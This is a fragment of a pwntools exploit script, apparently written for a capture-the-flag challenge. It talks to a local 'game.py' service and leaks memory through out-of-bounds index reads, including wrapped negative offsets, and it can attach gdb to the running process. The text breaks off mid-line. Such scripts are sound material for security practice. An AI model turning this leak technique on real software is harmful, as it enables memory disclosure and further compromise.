from pwn import * import psutil import time io = remote("localhost", 9090) if args.DEBUG: time.sleep(1) filter = lambda p : "game.py" in p.cmdline() pid = [p.pid for p in psutil.process_iter() if filter(p)][0] util.misc.run_in_new_terminal(f"sudo -E gdb --pid={pid}") input() def leak(offset, unpack=True): io.readuntil(b"Easy or Hard? ") io.sendline(b"hard") io.readuntil("Ready? ") io.sendline(b"") leak = [] for i in range(8): io.readuntil(b"Index 1: ") io.sendline(str(0).encode()) io.readuntil(b"Index 2: ") if offset < 0: io.sendline(str((1 << 64) + offset + i).encode()) else: io.sendline(str(offset + i).encode()) line = io.readline() leak.append(int(line.split(b" ")[1])) if unpack: return struct.unpack("